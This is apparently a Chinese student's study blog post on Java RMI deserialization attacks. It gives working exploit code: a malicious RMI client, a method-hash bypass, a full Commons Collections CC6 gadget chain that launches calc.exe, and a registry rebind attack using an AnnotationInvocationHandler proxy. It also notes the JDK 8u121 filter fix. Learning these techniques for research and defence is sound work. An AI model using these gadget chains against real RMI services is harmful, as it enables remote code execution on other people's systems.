0%

添砖 Java 壹

添砖 Java 壹

该学点正经东西了,开始视奸学长博客,哈哈;

RMI

学习一下 RMI 的配置:

Server

接口

1
2
3
4
5
public interface RemoteInterface extends Remote {
public String sayHello() throws RemoteException;
public String sayHello(Object name) throws RemoteException;
public String sayGoodbye() throws RemoteException;
}

调用类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// inherit UnicastRemoteObject to export the remote class automatically
public class RemoteObject extends UnicastRemoteObject implements RemoteInterface {
protected RemoteObject() throws RemoteException {
}
@Override
public String sayHello() throws RemoteException {
return "Hello My Friend";
}
@Override
public String sayHello(Object name) throws RemoteException {
return name.getClass().getName();
}
@Override
public String sayGoodbye() throws RemoteException {
return "Bye";
}
}

创建注册中心,绑定端口

1
2
3
4
5
6
7
8
9
10
11
12
13
public class RMIServer{
public static void main(String[] args) throws RemoteException, MalformedURLException, AlreadyBoundException, InterruptedException {
try{
// start server
LocateRegistry.createRegistry(PORT);
// bind object to port
RemoteInterface remoteObject = mew RemoteObject();
Naming.bind("rmi://127.0.0.1:1099/RemoteObject", remoteObject);
} catch (Exception e) {
e.printStackTrace();
}
}
}

Client

调用接口

1
2
3
4
5
6
7
8
9
10
11
public class RMIClient {
public static void main(String[] args) throws RemoteException, NotBoundException {
// link registry
Registry registry = LocateRegistry.getRegistry(RMI_SERVER_IP, PORT);
System.out.println(Arrays.toString(registry.list()));
// lookup by name
RemoteInterface stub = (RemoteInterface) registry.lookup("RemoteObject");
System.out.println(stub.sayHello());
System.out.println(stub.sayGoodbye());
}
}

动态类加载

1
2
System.setProperty("java.rmi.server.codebase", URL);
// same as startup params [-Djava.rmi.server.codebase="{URL}"]

Client 调用的对象 RemoteObject如果在 Server 不存在,如果 Server 有设置 java.rmi.server.codebase ,则会从 URL 寻找字节码 RemoteObject.class

安全策略

1
2
3
if (System.getSecurityManager() == null) {
System.setSecurityManager(new RMISecurityManager());
}

安全策略

策略文件默认为:$JAVA_HOME/jre/lib/security/java.policy

自定义策略文件 rmi.policy

1
2
3
grant {
permission java.security.AllPermission;
}

设置管理器:

1
2
3
4
if (System.getSecurityManager() == null) {
System.setSecurityManager(new RMISecurityManager());
}
// same as startup params [-Djava.security.manager]

指定策略:

1
2
System.setProperty("java.security.policy", RemoteServer.class.getClassLoader().getResource("rmi.policy").toString());
// same as startup params [-Djava.security.policy=rmi.policy]

Server Attack

evil params

Client 端传 Object 对象给 Server,可以触发反序列化;

示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
// interface
public interface RMIClass extends Remote {
public String sayHello() throws RemoteException;
public String sayHello(Object o) throws RemoteException;
}

// attacked server
public class RMIServer {
private static final String OBJECT_URL = "rmi://localhost:1099/Hello";
// private static final String CODEBASE_URL = "http://127.0.0.1:9999/";
private static final String POLICY_FILE = "rmi.policy";
private static final String SERVER_START_MESSAGE = "SERVER STARTED";
private static final int REGISTRY_PORT = 1099;

public static void main(String[] args) throws MalformedURLException, AlreadyBoundException, RemoteException {
System.setProperty("java.rmi.server.codebase", CODEBASE_URL);
System.setProperty("java.security.policy", RMIServer.class.getClassLoader().getResource(POLICY_FILE).toString());
LocateRegistry.createRegistry(REGISTRY_PORT);
RMIClass remoteObject = new RMIClassImpl();
Naming.bind(OBJECT_URL, remoteObject);
System.out.println(SERVER_START_MESSAGE);
}
}

// attack client
public class RMIClient {
private static final String BINDED_NAME = "Hello";
private static final String IP = "127.0.0.1";
private static final int PORT = 1099;


public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry(IP, PORT);
RMIClass stub = (RMIClass) registry.lookup(BINDED_NAME);
System.out.println(Arrays.toString(registry.list()));
// System.out.println(stub.sayHello());
System.out.println(stub.sayHello(getPayload()));
}

public static Object getPayload() throws Exception {
// CC6 excute "calc"
}
}

CS 分别运行,弹计算器;

另外不难想到,只要 Server 端接收非基本类型,都会触发反序列化,这里有一个问题:

如果 Server 接收和 Client 发送的类型签名不一致,会抛出一个错误,如果将 Server 端的 RMIClass 接口改为:

1
2
3
4
public interface RMIClass extends Remote {
public String sayHello() throws RemoteException;
public String sayHello(Integer i) throws RemoteException;
}

报错如下:

1
2
// remoteException occurred in server thread; nested exception is: 
// java.rmi.UnmarshalException: unrecognized method hash: method not supported by remote object

在远程对象上找不到对应签名的方法所致,在 java.rmi.server.RemoteObjectInvocationHandler#invokeRemoteMethod 下一下断点:

里面有这样一段:

1
return ref.invoke((Remote) proxy, method, args, getMethodHash(method));

这里进行远程调用,事实上 getMethodHash 是用来定位方法的,而且 Client 可以被攻击者完全控制,因此使用 hook 在这里把被 hash 的 method 改为和远程对象一致的方法即可绕过对签名的检验;

首先在 Client 端的 RMIClass 接口加上目标函数:

1
2
3
4
5
public interface RMIClass extends Remote {
public String sayHello() throws RemoteException;
public String sayHello(Integer i) throws RemoteException;
public String sayHello(Object name) throws RemoteException;
}

断点处栈的状况:

method 改为:

1
RMIClass.class.getMethod("sayHello", Integer.class)

即可绕过校验触发反序列化,弹出计算器;

故而只要有传非基本类型参数的函数,Server 端都可以反序列化任意 payload,这一层相当于通杀了;

看到这了重新学一下 CC6;

CC6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
public static Object getEvilClass() throws Exception {
// RCE transformer chain
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{Runtime.class, null}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc.exe"}
)
};

// put fake transformers
// use reflection instead of "put" method to avoid unexpected serialization
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);

Map innerMap = new HashMap<>();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "test");
Map expMap = new HashMap();
expMap.put(tiedMapEntry, "any");

// remove the pair "'test':1" inserted by LazyMap#get()
outerMap.remove("test");

// use reflection to put real transformer in
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);

return expMap;
}

唯一需要注意的点是,中间 remove 去除了 LazyMap 在第一次 expMap.put() 时触发 tiedMapEntry.hashcode() 进而触发 tiedMapEntry.getValue() 进而触发 map.get() 时被 LazyMap 特性插入的值;

LazyMap 的特点是 get 不存在的值会触发 transformer,然后返回并插入 transformer 的返回值,必须要移除掉这个值,靶机真正反序列化 payload 的时候才能再次调用恶意的 transformer;

理解了这一点,基本就理解了 CC6;

Registry Attack

先把 SDK 改成 JDK8u20

已知 registry.rebind()registry.bind()registry.lookup() 过程都会触发反序列化,以从 Server 端 registry.rebind() 打 Register 端为例,其传递的对象参数必须实现 Remote 接口,通过动态代理 InvocationHandler 的方式可以给 payload 包装一层 Remote 接口;

选用 AnnotationInvocationHandler 是因为其可以包含一个任意 Map 对象的序列化数据,很好用,因此与 CC1 被修复了无关,只要有反序列化 AnnotationInvocationHandler 的条件,这个包装方式其实是可以长足利用的;

进行代理之后辅以强转即可:

1
2
3
4
5
6
Constructor aihConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").
getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);

InvocationHandler handler = (InvocationHandler) aihConstructor.newInstance(Override.class, getEvilClass());
Remote remote = (Remote) Proxy.newProxyInstance(RMIServer.class.getClassLoader(), new Class[]{Remote.class}, handler);

完整代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
public class RMIServer {
private static final String OBJECT_URL = "rmi://localhost:1099/Hello";
// private static final String CODEBASE_URL = "http://127.0.0.1:9999/";
private static final String POLICY_FILE = "rmi.policy";
private static final String SERVER_START_MESSAGE = "SERVER STARTED";
private static final String REGISTRY_IP = "localhost";
private static final int REGISTRY_PORT = 1099;

public static void main(String[] args) throws Exception {
// start server
// System.setProperty("java.rmi.server.codebase", CODEBASE_URL);
System.setProperty("java.security.policy", RMIServer.class.getClassLoader().
getResource(POLICY_FILE).toString());
LocateRegistry.createRegistry(REGISTRY_PORT);
RMIClass remoteObject = new RMIClassImpl();
Naming.bind(OBJECT_URL, remoteObject);
System.out.println(SERVER_START_MESSAGE);

// attack registry by CC6
Registry registry = LocateRegistry.getRegistry(REGISTRY_IP, REGISTRY_PORT);
// use any serializable InvocationHandler to do proxy
Constructor aihConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").
getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) aihConstructor.newInstance(Override.class, getEvilClass());
Remote remote = (Remote) Proxy.newProxyInstance(
RMIServer.class.getClassLoader(),
new Class[]{Remote.class},
handler);
registry.rebind("QST", remote);
// registry.bind("QST", remote);
}

public static Object getEvilClass() throws Exception {
// CC6 payload generation
return expMap;
}
}

fix in jdk8u121

白名单 ObjectInputFilter 机制加入,RMI Registry 首当其冲,新增的 RegistryImpl#registryFilter 使用讨厌的白名单机制过滤反序列化数据的属性:

1
2
3
4
5
6
7
8
9
10
return String.class != var2 && 
!Number.class.isAssignableFrom(var2) &&
!Remote.class.isAssignableFrom(var2) &&
!Proxy.class.isAssignableFrom(var2) &&
!UnicastRef.class.isAssignableFrom(var2) &&
!RMIClientSocketFactory.class.isAssignableFrom(var2)
&& !RMIServerSocketFactory.class.isAssignableFrom(var2) &&
!ActivationID.class.isAssignableFrom(var2) &&
!UID.class.isAssignableFrom(var2)
? Status.REJECTED : Status.ALLOWED;

下断点动调一下,发现 ObjectInputFilter 对类的检查是递归的,如 AnnotationInvocationHandle 这些内部类会被检查出来 REJECTED 掉;

如何用有限的类去构造 gadget 就成了问题,先写到这;

总会

粘腻的青春已然板结了他的土壤,播种下再多的种子,他的青春也只是一场空,而非能够在未来的某一天发芽了;

好想再来一次,虽然总会成为老师的。